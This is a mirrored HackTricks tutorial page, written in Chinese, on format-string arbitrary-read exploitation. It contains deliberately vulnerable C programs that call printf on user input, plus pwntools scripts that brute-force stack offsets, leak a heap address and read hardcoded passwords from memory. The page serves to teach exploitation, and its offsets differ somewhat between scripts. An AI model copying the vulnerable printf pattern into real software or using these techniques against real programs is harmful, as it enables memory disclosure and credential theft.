mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
169 lines
4.6 KiB
Markdown
169 lines
4.6 KiB
Markdown
# 格式字符串 - 任意读取示例
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## 读取二进制开始
|
||
|
||
### 代码
|
||
```c
|
||
#include <stdio.h>
|
||
|
||
int main(void) {
|
||
char buffer[30];
|
||
|
||
fgets(buffer, sizeof(buffer), stdin);
|
||
|
||
printf(buffer);
|
||
return 0;
|
||
}
|
||
```
|
||
用以下命令编译:
|
||
```python
|
||
clang -o fs-read fs-read.c -Wno-format-security -no-pie
|
||
```
|
||
### 利用
|
||
```python
|
||
from pwn import *
|
||
|
||
p = process('./fs-read')
|
||
|
||
payload = f"%11$s|||||".encode()
|
||
payload += p64(0x00400000)
|
||
|
||
p.sendline(payload)
|
||
log.info(p.clean())
|
||
```
|
||
- **偏移量是 11**,因为设置多个 A 并且 **暴力破解**从 0 到 50 的循环发现,在偏移量 11 处,加上 5 个额外字符(在我们案例中是管道 `|`),可以控制一个完整的地址。
|
||
- 我使用了 **`%11$p`**,并进行了填充,直到地址全部为 0x4141414141414141。
|
||
- **格式字符串有效负载在地址之前**,因为 **printf 在遇到空字节时停止读取**,所以如果我们先发送地址再发送格式字符串,printf 将永远无法到达格式字符串,因为在此之前会找到一个空字节。
|
||
- 选择的地址是 0x00400000,因为这是二进制文件的起始位置(没有 PIE)。
|
||
|
||
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
|
||
|
||
## 读取密码
|
||
```c
|
||
#include <stdio.h>
|
||
#include <string.h>
|
||
|
||
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
|
||
|
||
int main() {
|
||
char stack_password[20] = "secretStackPass"; // Password in stack
|
||
char input1[20], input2[20];
|
||
|
||
printf("Enter first password: ");
|
||
scanf("%19s", input1);
|
||
|
||
printf("Enter second password: ");
|
||
scanf("%19s", input2);
|
||
|
||
// Vulnerable printf
|
||
printf(input1);
|
||
printf("\n");
|
||
|
||
// Check both passwords
|
||
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
|
||
printf("Access Granted.\n");
|
||
} else {
|
||
printf("Access Denied.\n");
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
用以下命令编译:
|
||
```bash
|
||
clang -o fs-read fs-read.c -Wno-format-security
|
||
```
|
||
### 从栈中读取
|
||
|
||
**`stack_password`** 将存储在栈中,因为它是一个局部变量,因此仅仅利用 printf 显示栈的内容就足够了。这是一个利用 BF 漏出栈中前 100 个位置的密码的漏洞:
|
||
```python
|
||
from pwn import *
|
||
|
||
for i in range(100):
|
||
print(f"Try: {i}")
|
||
payload = f"%{i}$s\na".encode()
|
||
p = process("./fs-read")
|
||
p.sendline(payload)
|
||
output = p.clean()
|
||
print(output)
|
||
p.close()
|
||
```
|
||
在图像中可以看到,我们可以从栈中泄露第 `10` 个位置的密码:
|
||
|
||
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
|
||
|
||
### 读取数据
|
||
|
||
运行相同的漏洞利用,但使用 `%p` 而不是 `%s`,可以从栈中泄露一个堆地址,位于 `%25$p`。此外,将泄露的地址 (`0xaaaab7030894`) 与该进程中密码在内存中的位置进行比较,我们可以获得地址差:
|
||
|
||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||
|
||
现在是时候找到如何控制栈中的一个地址,以便从第二个格式字符串漏洞访问它:
|
||
```python
|
||
from pwn import *
|
||
|
||
def leak_heap(p):
|
||
p.sendlineafter(b"first password:", b"%5$p")
|
||
p.recvline()
|
||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||
return int(response, 16)
|
||
|
||
for i in range(30):
|
||
p = process("./fs-read")
|
||
|
||
heap_leak_addr = leak_heap(p)
|
||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||
|
||
password_addr = heap_leak_addr - 0x126a
|
||
|
||
print(f"Try: {i}")
|
||
payload = f"%{i}$p|||".encode()
|
||
payload += b"AAAAAAAA"
|
||
|
||
p.sendline(payload)
|
||
output = p.clean()
|
||
print(output.decode("utf-8"))
|
||
p.close()
|
||
```
|
||
可以看到在 **try 14** 中,使用的传递方式可以控制一个地址:
|
||
|
||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||
|
||
### Exploit
|
||
```python
|
||
from pwn import *
|
||
|
||
p = process("./fs-read")
|
||
|
||
def leak_heap(p):
|
||
# At offset 25 there is a heap leak
|
||
p.sendlineafter(b"first password:", b"%25$p")
|
||
p.recvline()
|
||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||
return int(response, 16)
|
||
|
||
heap_leak_addr = leak_heap(p)
|
||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||
|
||
# Offset calculated from the leaked position to the possition of the pass in memory
|
||
password_addr = heap_leak_addr + 0x1f7bc
|
||
|
||
print(f"Calculated address is: {hex(password_addr)}")
|
||
|
||
# At offset 14 we can control the addres, so use %s to read the string from that address
|
||
payload = f"%14$s|||".encode()
|
||
payload += p64(password_addr)
|
||
|
||
p.sendline(payload)
|
||
output = p.clean()
|
||
print(output)
|
||
p.close()
|
||
```
|
||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|